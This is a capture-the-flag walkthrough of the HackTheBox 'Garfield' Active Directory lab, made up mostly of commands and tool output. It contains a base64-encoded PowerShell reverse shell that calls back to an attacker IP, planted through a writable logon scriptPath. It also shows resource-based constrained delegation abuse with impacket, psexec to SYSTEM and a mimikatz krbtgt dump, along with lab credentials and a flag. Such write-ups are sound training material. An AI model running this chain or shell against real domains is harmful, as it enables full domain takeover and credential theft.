> For the complete documentation index, see [llms.txt](https://eth3real.gitbook.io/eth3real/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://eth3real.gitbook.io/eth3real/documentation/platforms/hackthebox/labs/hard/garfield.md). # Garfield ``` # Nmap 7.99 scan initiated Fri Apr 10 11:05:50 2026 as: /usr/lib/nmap/nmap -A -sC -sV -oN nop.txt 10.129.244.207 Nmap scan report for 10.129.244.207 Host is up (0.062s latency). Not shown: 986 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-10 23:06:04Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 2179/tcp open vmrdp? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: GARFIELD | NetBIOS_Domain_Name: GARFIELD | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: garfield.htb | DNS_Computer_Name: DC01.garfield.htb | DNS_Tree_Name: garfield.htb | Product_Version: 10.0.17763 |_ System_Time: 2026-04-10T23:06:32+00:00 |_ssl-date: 2026-04-10T23:07:13+00:00; +8h00m02s from scanner time. | ssl-cert: Subject: commonName=DC01.garfield.htb | Not valid before: 2026-02-13T01:10:36 |_Not valid after: 2026-08-15T01:10:36 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019|10 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 8h00m01s, deviation: 0s, median: 8h00m01s | smb2-time: | date: 2026-04-10T23:06:36 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required TRACEROUTE (using port 139/tcp) HOP RTT ADDRESS 1 60.60 ms 10.10.14.1 2 60.65 ms 10.129.244.207 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Apr 10 11:07:45 2026 -- 1 IP address (1 host up) scanned in 115.49 seconds ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ nxc smb dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --users --groups --pass-pol --shares --local-groups SMB 10.129.244.207 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.244.207 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 SMB 10.129.244.207 445 DC01 [*] Enumerated shares SMB 10.129.244.207 445 DC01 Share Permissions Remark SMB 10.129.244.207 445 DC01 ----- ----------- ------ SMB 10.129.244.207 445 DC01 ADMIN$ Remote Admin SMB 10.129.244.207 445 DC01 C$ Default share SMB 10.129.244.207 445 DC01 IPC$ READ Remote IPC SMB 10.129.244.207 445 DC01 NETLOGON READ Logon server share SMB 10.129.244.207 445 DC01 SYSVOL READ Logon server share SMB 10.129.244.207 445 DC01 -Username- -Last PW Set- -BadPW- -Description- SMB 10.129.244.207 445 DC01 Administrator 2025-10-03 17:29:26 0 Built-in account for administering the computer/domain SMB 10.129.244.207 445 DC01 Guest 0 Built-in account for guest access to the computer/domain SMB 10.129.244.207 445 DC01 krbtgt 2025-08-13 11:05:26 0 Key Distribution Center Service Account SMB 10.129.244.207 445 DC01 krbtgt_8245 2025-08-17 11:33:39 0 Key Distribution Center service account for read-only domain controller SMB 10.129.244.207 445 DC01 j.arbuckle 2025-09-09 15:50:55 0 SMB 10.129.244.207 445 DC01 l.wilson 2026-01-27 21:40:33 0 SMB 10.129.244.207 445 DC01 l.wilson_adm 2026-01-13 14:56:35 0 SMB 10.129.244.207 445 DC01 [*] Enumerated 7 local users: GARFIELD SMB 10.129.244.207 445 DC01 [-] [REMOVED] Arg moved to the ldap protocol SMB 10.129.244.207 445 DC01 [*] Enumerating with SAMRPC protocol SMB 10.129.244.207 445 DC01 [+] Enumerated local groups SMB 10.129.244.207 445 DC01 549 - Server Operators SMB 10.129.244.207 445 DC01 548 - Account Operators SMB 10.129.244.207 445 DC01 554 - Pre-Windows 2000 Compatible Access SMB 10.129.244.207 445 DC01 557 - Incoming Forest Trust Builders SMB 10.129.244.207 445 DC01 560 - Windows Authorization Access Group SMB 10.129.244.207 445 DC01 561 - Terminal Server License Servers SMB 10.129.244.207 445 DC01 544 - Administrators SMB 10.129.244.207 445 DC01 545 - Users SMB 10.129.244.207 445 DC01 546 - Guests SMB 10.129.244.207 445 DC01 550 - Print Operators SMB 10.129.244.207 445 DC01 551 - Backup Operators SMB 10.129.244.207 445 DC01 552 - Replicator SMB 10.129.244.207 445 DC01 555 - Remote Desktop Users SMB 10.129.244.207 445 DC01 556 - Network Configuration Operators SMB 10.129.244.207 445 DC01 558 - Performance Monitor Users SMB 10.129.244.207 445 DC01 559 - Performance Log Users SMB 10.129.244.207 445 DC01 562 - Distributed COM Users SMB 10.129.244.207 445 DC01 568 - IIS_IUSRS SMB 10.129.244.207 445 DC01 569 - Cryptographic Operators SMB 10.129.244.207 445 DC01 573 - Event Log Readers SMB 10.129.244.207 445 DC01 574 - Certificate Service DCOM Access SMB 10.129.244.207 445 DC01 575 - RDS Remote Access Servers SMB 10.129.244.207 445 DC01 576 - RDS Endpoint Servers SMB 10.129.244.207 445 DC01 577 - RDS Management Servers SMB 10.129.244.207 445 DC01 578 - Hyper-V Administrators SMB 10.129.244.207 445 DC01 579 - Access Control Assistance Operators SMB 10.129.244.207 445 DC01 580 - Remote Management Users SMB 10.129.244.207 445 DC01 582 - Storage Replica Administrators SMB 10.129.244.207 445 DC01 517 - Cert Publishers SMB 10.129.244.207 445 DC01 553 - RAS and IAS Servers SMB 10.129.244.207 445 DC01 571 - Allowed RODC Password Replication Group SMB 10.129.244.207 445 DC01 572 - Denied RODC Password Replication Group SMB 10.129.244.207 445 DC01 1101 - DnsAdmins SMB 10.129.244.207 445 DC01 [+] Dumping password info for domain: GARFIELD SMB 10.129.244.207 445 DC01 Minimum password length: 7 SMB 10.129.244.207 445 DC01 Password history length: 24 SMB 10.129.244.207 445 DC01 Maximum password age: 41 days 23 hours 53 minutes SMB 10.129.244.207 445 DC01 SMB 10.129.244.207 445 DC01 Password Complexity Flags: 000000 SMB 10.129.244.207 445 DC01 Domain Refuse Password Change: 0 SMB 10.129.244.207 445 DC01 Domain Password Store Cleartext: 0 SMB 10.129.244.207 445 DC01 Domain Password Lockout Admins: 0 SMB 10.129.244.207 445 DC01 Domain Password No Clear Change: 0 SMB 10.129.244.207 445 DC01 Domain Password No Anon Change: 0 SMB 10.129.244.207 445 DC01 Domain Password Complex: 0 SMB 10.129.244.207 445 DC01 SMB 10.129.244.207 445 DC01 Minimum password age: 1 day 4 minutes SMB 10.129.244.207 445 DC01 Reset Account Lockout Counter: 10 minutes SMB 10.129.244.207 445 DC01 Locked Account Duration: 10 minutes SMB 10.129.244.207 445 DC01 Account Lockout Threshold: None SMB 10.129.244.207 445 DC01 Forced Log off Time: Not Set ``` we have SYSVOL as READ ``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ bloodyAD --host 10.129.244.207 -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable --detail distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb scriptPath: WRITE distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb url: WRITE wWWHomePage: WRITE distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb scriptPath: WRITE distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb thumbnailPhoto: WRITE pager: WRITE mobile: WRITE homePhone: WRITE userSMIMECertificate: WRITE msDS-ExternalDirectoryObjectId: WRITE msDS-cloudExtensionAttribute20: WRITE msDS-cloudExtensionAttribute19: WRITE msDS-cloudExtensionAttribute18: WRITE msDS-cloudExtensionAttribute17: WRITE msDS-cloudExtensionAttribute16: WRITE msDS-cloudExtensionAttribute15: WRITE msDS-cloudExtensionAttribute14: WRITE msDS-cloudExtensionAttribute13: WRITE msDS-cloudExtensionAttribute12: WRITE msDS-cloudExtensionAttribute11: WRITE msDS-cloudExtensionAttribute10: WRITE msDS-cloudExtensionAttribute9: WRITE msDS-cloudExtensionAttribute8: WRITE msDS-cloudExtensionAttribute7: WRITE msDS-cloudExtensionAttribute6: WRITE msDS-cloudExtensionAttribute5: WRITE msDS-cloudExtensionAttribute4: WRITE msDS-cloudExtensionAttribute3: WRITE msDS-cloudExtensionAttribute2: WRITE msDS-cloudExtensionAttribute1: WRITE msDS-GeoCoordinatesLongitude: WRITE msDS-GeoCoordinatesLatitude: WRITE msDS-GeoCoordinatesAltitude: WRITE msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE msPKI-CredentialRoamingTokens: WRITE msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE msDS-FailedInteractiveLogonCount: WRITE msDS-LastFailedInteractiveLogonTime: WRITE msDS-LastSuccessfulInteractiveLogonTime: WRITE msDS-SupportedEncryptionTypes: WRITE msPKIAccountCredentials: WRITE msPKIDPAPIMasterKeys: WRITE msPKIRoamingTimeStamp: WRITE mSMQDigests: WRITE mSMQSignCertificates: WRITE userSharedFolderOther: WRITE userSharedFolder: WRITE url: WRITE otherIpPhone: WRITE ipPhone: WRITE assistant: WRITE primaryInternationalISDNNumber: WRITE primaryTelexNumber: WRITE otherMobile: WRITE otherFacsimileTelephoneNumber: WRITE userCert: WRITE scriptPath: WRITE homePostalAddress: WRITE personalTitle: WRITE wWWHomePage: WRITE otherHomePhone: WRITE streetAddress: WRITE otherPager: WRITE info: WRITE otherTelephone: WRITE userCertificate: WRITE preferredDeliveryMethod: WRITE registeredAddress: WRITE internationalISDNNumber: WRITE x121Address: WRITE facsimileTelephoneNumber: WRITE teletexTerminalIdentifier: WRITE telexNumber: WRITE telephoneNumber: WRITE physicalDeliveryOfficeName: WRITE postOfficeBox: WRITE postalCode: WRITE postalAddress: WRITE street: WRITE st: WRITE l: WRITE c: WRITE distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb scriptPath: WRITE distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb scriptPath: WRITE ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ cat printerDetect.bat @echo off powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMgAxADgAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ bloodyAD --host 10.129.244.207 -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' set object 'CN=Liz Wilson,CN=Users,DC=garfield,DC=htb' scriptPath -v printerDetect.bat [+] CN=Liz Wilson,CN=Users,DC=garfield,DC=htb's scriptPath has been updated ``` ## l.wilson
{% code overflow="wrap" %} ``` PS C:\Windows\system32> $NewPassword = ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force PS C:\Windows\system32> Set-ADAccountPassword -Identity "l.wilson_adm" -Reset -NewPassword $NewPassword ``` {% endcode %} ## l.wilson\_adm ``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ evil-winrm -i 10.129.244.207 -u l.wilson_adm -p NewPassword123! Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\l.wilson_adm\Desktop> whoami garfield\l.wilson_adm ``` ``` *Evil-WinRM* PS C:\Users\l.wilson_adm\Desktop> cat user.txt 40dae09fcc6ac353791355a9aee6242f ``` ## privesc
``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ evil-winrm -i 10.129.19.122 -u l.wilson_adm -p NewPassword123! Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> whoami garfield\l.wilson_adm *Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm" *Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> ``` we have writeaccountrestrictions why this works : 
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> whoami /all

USER INFORMATION
----------------

User Name             SID
===================== =============================================
garfield\l.wilson_adm S-1-5-21-2502726253-3859040611-225969357-3107


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                           Attributes
=========================================== ================ ============================================= ==================================================
Everyone                                    Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users                Alias            S-1-5-32-555                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
GARFIELD\Tier 1                             Group            S-1-5-21-2502726253-3859040611-225969357-3108 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ impacket-addcomputer -method SAMR -computer-name 'FAKEBOX$' -computer-pass 'Password@123' -dc-host 10.129.244.207 'garfield.htb/l.wilson_adm:NewPassword123!' Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Successfully added machine account FAKEBOX$ with password Password@123. ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ impacket-rbcd -delegate-from 'FAKEBOX$' -delegate-to 'RODC01$' -action 'write' 'garfield.htb/l.wilson_adm:NewPassword123!' Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] FAKEBOX$ can now impersonate users on RODC01$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] FAKEBOX$ (S-1-5-21-2502726253-3859040611-225969357-10601) ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ impacket-getST -spn 'cifs/RODC01.garfield.htb' -impersonate 'Administrator' 'garfield.htb/FAKEBOX$:Password@123' Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ sudo ntpdate -u 10.129.19.122 2026-04-16 05:19:51.083377 (+0530) +28803.082392 +/- 0.027754 10.129.19.122 s1 no-leap CLOCK: time stepped by 28803.082392 ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ sudo systemctl stop virtualbox-guest-utils ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ export KRB5CCNAME="$PWD/Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache" ``` {% code overflow="wrap" %} ``` ┌──(kali㉿kali)-[~/HTB/Labs/Garfield] └─$ impacket-psexec -k -no-pass -dc-ip 10.129.244.207 garfield.htb/Administrator@RODC01.garfield.htb -target-ip 192.168.100.2 Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Requesting shares on 192.168.100.2..... [*] Found writable share ADMIN$ [*] Uploading file qLORqgVk.exe [*] Opening SVCManager on 192.168.100.2..... [*] Creating service cdrL on 192.168.100.2..... [*] Starting service cdrL..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.8511] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami nt authority\system ``` {% endcode %} {% code overflow="wrap" %} ``` mimikatz privilege::debug lsadump::lsa /inject /name:krbtgt_8245 ``` {% endcode %} [^1]: because of 'this' we can add computer to our domain